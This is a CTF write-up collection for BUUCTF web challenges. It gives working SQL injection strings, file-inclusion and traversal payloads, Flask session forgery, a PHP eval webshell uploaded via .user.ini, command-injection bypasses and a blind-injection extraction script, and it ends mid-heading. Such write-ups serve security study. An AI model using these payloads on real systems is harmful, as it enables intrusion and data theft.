BUUCTF是一个ctf平台,里面都是一些经典赛题。

[HCTF 2018]WarmUp

查看源码,注释有source.php,访问得到源码
source.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

由源码可知只有重点要绕过emmm::checkFile($_REQUEST[‘file’]) ,实现任意文件包含读取。 可知存在hint.php文件,访问

1
/source.php?file=hint.php

提示

1
flag not here, and flag in ffffllllaaaagggg

可知flag存在 中 ,要实现包含读取ffffllllaaaagggg,要先让checkFile 返回True,从下面这部分源码着手

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;

从源码可知先对传入的字符串末尾加?号,进行以?为分割符进行字符串截取,接着url解码,然后再次加?号以?为分割符进行字符串截取,最后在进行白名单的判断。我们可以传入一个url编码后的?,前面连接放着白名单的文件,就可以绕过白名单的判断返回True,后面放着我们想要读取的字符串。浏览器会默认帮我们url解码一次,随意我们要将? 二次url编码。

1
source.php?file=hint.php%253f/../../../../ffffllllaaaagggg

可得flag
我这里对?进行一次url编码可以,倒是有点奇怪,不是会默认解码一次吗?
这里还涉及到一个知识点:
hint.php%3f双重编码,经过包含时你包含的文件会被当成一个目录

[强网杯 2019]随便注

在注入测试中,可以发现增、删、查、改操作的关键字都被过滤了。

1
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

可以使用堆叠注入
得到表名1919810931114514、words

1
-1';  show tables; --+

得到字段名

1
-1';  desc 1919810931114514 #

1919810931114514表有1,hahahah两个字段
得到数据

1
-1'; SET @haha_test = CONCAT('S','ELECT * from `1919810931114514`');PREPARE pr2 FROM @haha_test;EXECUTE pr2 ;#

[SUCTF 2019]EasySQL

这道题一开始以为是盲注, 没做出来,看大佬们的WP.
这题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

if(isset($post['query'])){
$BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
//var_dump(preg_match("/{$BlackList}/is",$post['query']));
if(preg_match("/{$BlackList}/is",$post['query'])){
//echo $post['query'];
die("Nonono.");
}
if(strlen($post['query'])>40){
die("Too long.");
}
$sql = "select ".$post['query']."||flag from Flag";
mysqli_multi_query($MysqlLink,$sql);
do{
if($res = mysqli_store_result($MysqlLink)){
while($row = mysqli_fetch_row($res)){
print_r($row);
}
}
}while(@mysqli_next_result($MysqlLink));

}

?>

重点在

1
$sql = "select ".$post['query']."||flag from Flag";

解法一:
这里没有过滤* ,直接 *,1就可以了

1
*,1 => "select *,1||flag from Flag"; (1和flag或运算,select * from Flag)

解法二:
更改配置把||视为字符串连接符

1
2
1;set sql_mode=pipes_as_concat;select 1   
=>"select 1;set sql_mode=pipes_as_concat;select 1||flag from Flag";

在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接,但在mysql 缺省不支持。需要调整mysql 的sql_mode 模式:pipes_as_concat 来实现oracle 的一些功能。

[护网杯 2018]easy_tornado

有三个文件
flag.txt

1
2
/flag.txt
flag in /fllllllllllllag

welcome.txt

1
2
/welcome.txt
render

hints.txt

1
2
/hints.txt
md5(cookie_secret+md5(filename))

提示flag就在/fllllllllllllag 访问跳到 /error?msg=Error ,猜测有模板注入
尝试输入/error?msg=1,确实存在模板注入。
Python tornado框架存在附属文件 handler.settings,于是尝试输入/error?msg=
返回

1
{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '6cf024f5-e2ff-4c16-8989-5b16c648ca74'}

根据hints.txt的提示,依据观察三个文件的url地址可知,需要按照如下访问,才可以得到文件的内容。

1
/file?filename=/文件名&filehash=md5(cookie_secret+md5(文件名))

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import hashlib

def md5hash(data):
md5=hashlib.md5()
md5.update(data)
print(md5.hexdigest())
return md5.hexdigest()

def filehash(filename):
cookie_secret = "6cf024f5-e2ff-4c16-8989-5b16c648ca74"
result=md5hash((cookie_secret + md5hash(filename.encode('utf-8'))).encode('utf-8'))
return result

if __name__=="__main__":
filename = "/fllllllllllllag"
result="/file?filename={}&filehash={}"
print(result.format(filename,filehash(filename)))

访问

1
/file?filename=/fllllllllllllag&filehash=232236da1a1b017078826b86cced846a

可得到flag

[极客大挑战 2019]EasySQL

存在sql注入,万能密码登录

1
/check.php?username=admin&password=orandin'  or '1

[RoarCTF 2019]Easy Calc

查看html源码,可知有calc.php文件,访问可得waf的过滤方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>

tips:
PHP的字符串解析特性:
PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:1.删除空白符 2.将某些字符转换为下划线(包括空格)

num参数的值如果为字母就会显示页面请求就会错误。可以猜测这里的waf不允许num变量传递字母,可以在num前加个空格,这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。(主要是waf不是用php写的)

answer:
首先我们要先扫根目录下的所有文件,也就是是scandir(“/“),但是/被过滤了,所以我们用chr(47)绕过,发现flagg文件

1
/calc.php?%20num=1;var_dump(scandir(chr(47)))

1
/calc.php?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

[极客大挑战 2019]Havefun

1
2
3
4
5
6
7
        <!--
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}
-->

answer:

1
?cat=dog

[HCTF 2018]admin

随便注册一个账号登录,在修改密码的地方,提示源码

1
https://github.com/woadsl1234/hctf_flask/

HCTF2018-admin

解法一:session伪造
注册一个账号后登入,抓包得到cookie的session,解密得

1
{'_fresh': True, '_id': b'fe143907fe0a678ebe8ceb972968e2f7b98bb5586f8db03defbde94a673235364017f31733e74b7fa98a1d2a163f0c7d7b776b3a68dc1ef96a392cd5c205af28', 'csrf_token': b'6298f03ac923b6b7006403d7a5ca798a645e338e', 'image': b'V7hq', 'name': 'test', 'user_id': '10'}

如果我们想要加密伪造生成自己想要的session还需要知道SECRET_KEY,在config.py里可以发现了SECRET_KEY。

1
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'

一个flask session加密的脚本 https://github.com/noraj/flask-session-cookie-manager

利用刚刚得到的SECRET_KEY,在将解密出来的name改为admin,最后用脚本生成我们想要的session即可
加密

1
python flask_session_cookie_manager3.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'fe143907fe0a678ebe8ceb972968e2f7b98bb5586f8db03defbde94a673235364017f31733e74b7fa98a1d2a163f0c7d7b776b3a68dc1ef96a392cd5c205af28', 'csrf_token': b'6298f03ac923b6b7006403d7a5ca798a645e338e', 'image': b'V7hq', 'name': 'admin', 'user_id': '10'}"

解法二: unicode

1
2
3
def strlower(username):
username = nodeprep.prepare(username)
return username

假如我们注册ᴬᴰᴹᴵᴺ用户,然后在用ᴬᴰᴹᴵᴺ用户登录,因为在login函数里使用了一次nodeprep.prepare函数,因此我们登录上去看到的用户名为ADMIN,此时我们再修改密码,又调用了一次nodeprep.prepare函数将name转换为admin,然后我们就可以改掉admin的密码,最后利用admin账号登录即可拿到flag。

1
ᴬᴰᴹᴵᴺ -> ADMIN -> admin

[极客大挑战 2019]Secret File

用bp截取数据吧,在302跳转的页面得知secr3t.php

1
2
3
4
5
<html>
<!--
secr3t.php
-->
</html>

访问secr3t.php得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>

利用php://filter的php伪协议读取

1
/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php

[极客大挑战 2019]LoveSQL

联合注入 #在get请求中记得url编码,要不会被当成锚点

1
http://666f93b7-713c-4980-819e-74815fd17c90.node3.buuoj.cn/check.php?username=admin&password=dfg' union select 1,(select group_concat(username,0x23,password) from l0ve1ysq1),3 %23

[SUCTF 2019]CheckIn

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Upload Labs</title>
</head>

<body>
<h2>Upload Labs</h2>
<form action="index.php" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="fileUpload" id="file"><br>
<input type="submit" name="upload" value="提交">
</form>
</body>

</html>

<?php
// error_reporting(0);
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {
$tmp_name = $_FILES["fileUpload"]["tmp_name"];
$name = $_FILES["fileUpload"]["name"];
if (!$tmp_name) {
die("filesize too big!");
}
if (!$name) {
die("filename cannot be empty!");
}
$extension = substr($name, strrpos($name, ".") + 1);
if (preg_match("/ph|htacess/i", $extension)) {
die("illegal suffix!");
}
if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
die("&lt;? in contents!");
}
$image_type = exif_imagetype($tmp_name);
if (!$image_type) {
die("exif_imagetype:not image!");
}
$upload_file_path = $userdir . "/" . $name;
move_uploaded_file($tmp_name, $upload_file_path);
echo "Your dir " . $userdir. ' <br>';
echo 'Your files : <br>';
var_dump(scandir($userdir));
}

tips:

1.exif_imagetype 文件类型判断
可以通过给上传脚本加上相应的幻数头字节就可以绕过:

1
2
3
JPG :FF D8 FF E0 00 10 4A 46 49 46
GIF(相当于文本的GIF89a):47 49 46 38 39 61
PNG: 89 50 4E 47

2.user.ini
user.ini详解介绍

answer:
首先,构造一个.user.ini文件,内容如下:

1
2
GIF89a             
auto_prepend_file=a.jpg

然后构造一个a.jpg,内容如下:

1
2
GIF89a
<script language='php'> @eval($_POST['pass']);</script>

然后将两个文件分别上传到服务器上,拿到回显1

菜刀连接本就存在的index.php文件 ,该index.php会包含a.jpg里面的一句话

[极客大挑战 2019]PHP1

www.zip备份文件
index.php

1
2
3
4
5
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

function __wakeup(){
$this->username = 'guest';
}

function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();


}
}
}
?>

tips:
__wakeup() 当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)

关于类属性的访问权限:

1
2
3
public   不用修饰 
private   需要加%00类名%00
protected 则需要使用%00*%00

answer:

1
2
3
4
5
6
7
8
<?php
class Name
{
private $username ='admin' ;
private $password =100 ;
}
print(serialize(new Name()));
?>

将成员数目2修改为其他数目,private的不可打印字符用%00代替

1
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

[极客大挑战 2019]Knife

直接菜刀连接
flag在根目录

[极客大挑战 2019]Http

在html源码中找到Secret.php文件,访问后提示要从https://www.Sycsecret.com访问,bp抓包添加header头部

1
Referer: https://www.Sycsecret.com

又提示Please use “Syclover” browser ,修改User-Agent

1
User-Agent: Syclover

又提示No!!! you can only read this locally!!! ,添加X-Forwarded-For

1
X-Forwarded-For:127.0.0.1

[GXYCTF2019]Ping Ping Ping

过滤了空格个flag的关键字

answer:
命令执行变量拼接

1
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

过滤bash用sh执行

1
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

内联执行

将反引号内命令的输出作为输入执行

1
?ip=127.0.0.1;cat$IFS$9`ls`

可以查看index.php具体的过滤规则

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/?ip=
<pre>PING 1 (0.0.0.1): 56 data bytes
/?ip=
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}

?>

[ACTF2020 新生赛]Include

php伪协议读取

1
?file=php://filter/read=convert.base64-encode/resource=flag.php

Hack World

写个脚本看过滤了什么

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests

def read_dict():
dict=[]
with open("sqldict.txt",'r',encoding="utf-8") as f:
for line in f.readlines():
dict.append(line.strip())
return dict
def sql_filter():
url = "http://2b245443-7cb2-4333-87d0-6e1d1048262b.node3.buuoj.cn/index.php"

valueFilter=[]
sqlDict=read_dict()
for value in sqlDict:
data = {
"id": "1" + value
}
res=requests.post(url=url,data=data)
if "SQL Injection Checked." in res.text:
valueFilter.append(value)
print("Filter word: "+value)
print(valueFilter)
sql_filter()

源码内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

<?php
$dbuser='root';
$dbpass='root';

function safe($sql){
#被过滤的内容 函数基本没过滤
$blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./');
foreach($blackList as $blackitem){
if(stripos($sql,$blackitem)){
return False;
}
}
return True;
}
if(isset($_POST['id'])){
$id = $_POST['id'];
}else{
die();
}
$db = mysql_connect("localhost",$dbuser,$dbpass);
if(!$db){
die(mysql_error());
}
mysql_select_db("ctf",$db);

if(safe($id)){
$query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1");

if($query){
$result = mysql_fetch_array($query);

if($result){
echo $result['content'];
}else{
echo "Error Occured When Fetch Result.";
}
}else{
var_dump($query);
}
}else{
die("SQL Injection Checked.");
}

由safe函数可知,限制了一些空格、逻辑连接符、注释符、一些操作的关键字。

这里可以用字符串截断函数,把每个字符截断出来。如果当前字符等于某个字符,返回1,否则返回2。

比如: 截取到了flag中的第一个字符f时,从ascii码表里爆破 , f =a 返回 2 , f = f 返回1

这里过滤的空格可以用括号代替
answer:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests

def binary():
url="http://2b245443-7cb2-4333-87d0-6e1d1048262b.node3.buuoj.cn/index.php"
flag=""
for i in range(1,100):
left = 0x1f
right = 0x7f
while 1:
mid=left+(right-left)//2
if left==mid:
flag=flag+chr(left)
print(flag)
break
payload="if(ascii((mid((select(flag)from(flag)),{},1)))<{},1,2)"
data={
"id":payload.format(i,mid)
}
res=requests.post(url=url,data=data)
if "Hello" in res.text:
right=mid
else:
left=mid
if "}" in flag:
return

binary()
`

强网杯 2019]高明的黑客